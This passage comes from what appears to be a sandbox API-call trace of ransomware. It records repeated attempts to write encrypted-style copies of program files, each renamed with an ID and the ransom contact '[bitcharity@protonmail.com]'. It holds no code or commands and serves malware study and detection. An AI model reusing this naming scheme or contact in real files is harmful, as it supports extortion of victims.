lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.708] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.708] CloseHandle (hObject=0x11c8) returned 1 [0277.709] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.710] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.710] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.710] CloseHandle (hObject=0x11c8) returned 1 [0277.710] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.710] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.711] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.711] CloseHandle (hObject=0x11c8) returned 1 [0277.711] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.712] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.712] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.712] CloseHandle (hObject=0x11c8) returned 1 [0277.715] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.715] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.715] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.715] CloseHandle (hObject=0x11c8) returned 1 [0277.716] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.716] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.716] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.140] CloseHandle (hObject=0x11c8) returned 1 [0278.141] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.141] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.141] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Task.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\task.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.142] CloseHandle (hObject=0x11c8) returned 1 [0278.793] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.793] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\bl.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.793] CloseHandle (hObject=0x115c) returned 1 [0278.794] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.794] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\br.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.794] CloseHandle (hObject=0x115c) returned 1 [0278.795] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.795] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\create_form.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.795] CloseHandle (hObject=0x115c) returned 1 [0278.796] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.796] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.796] CloseHandle (hObject=0x115c) returned 1 [0278.797] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.797] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.797] CloseHandle (hObject=0x115c) returned 1 [0278.798] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.798] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.798] CloseHandle (hObject=0x115c) returned 1 [0278.799] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.799] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.799] CloseHandle (hObject=0x115c) returned 1 [0278.800] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.800] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.800] CloseHandle (hObject=0x115c) returned 1 [0278.801] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.801] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.801] CloseHandle (hObject=0x115c) returned 1 [0278.802] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.802] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.802] CloseHandle (hObject=0x115c) returned 1 [0278.803] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.803] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.803] CloseHandle (hObject=0x115c) returned 1 [0278.804] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.804] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.804] CloseHandle (hObject=0x115c) returned 1 [0278.804] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.804] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.805] CloseHandle (hObject=0x115c) returned 1 [0278.806] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.806] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.806] CloseHandle (hObject=0x115c) returned 1 [0278.807] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.807] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.807] CloseHandle (hObject=0x115c) returned 1 [0278.809] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.809] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.810] CloseHandle (hObject=0x115c) returned 1 [0278.811] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.811] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviewers.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.812] CloseHandle (hObject=0x126c) returned 1 [0278.813] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.813] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_joined.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.814] CloseHandle (hObject=0x126c) returned 1 [0278.814] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.814] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_sent.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.815] CloseHandle (hObject=0x126c) returned 1 [0278.815] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.815] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\reviews_super.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.815] CloseHandle (hObject=0x126c) returned 1 [0278.816] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.816] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.816] CloseHandle (hObject=0x126c) returned 1 [0278.820] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.820] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.820] CloseHandle (hObject=0x126c) returned 1 [0278.821] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.821] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.821] CloseHandle (hObject=0x126c) returned 1 [0278.821] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.822] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.822] CloseHandle (hObject=0x126c) returned 1 [0278.822] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.822] SetFilePointerEx (in: hFile=0x126c, 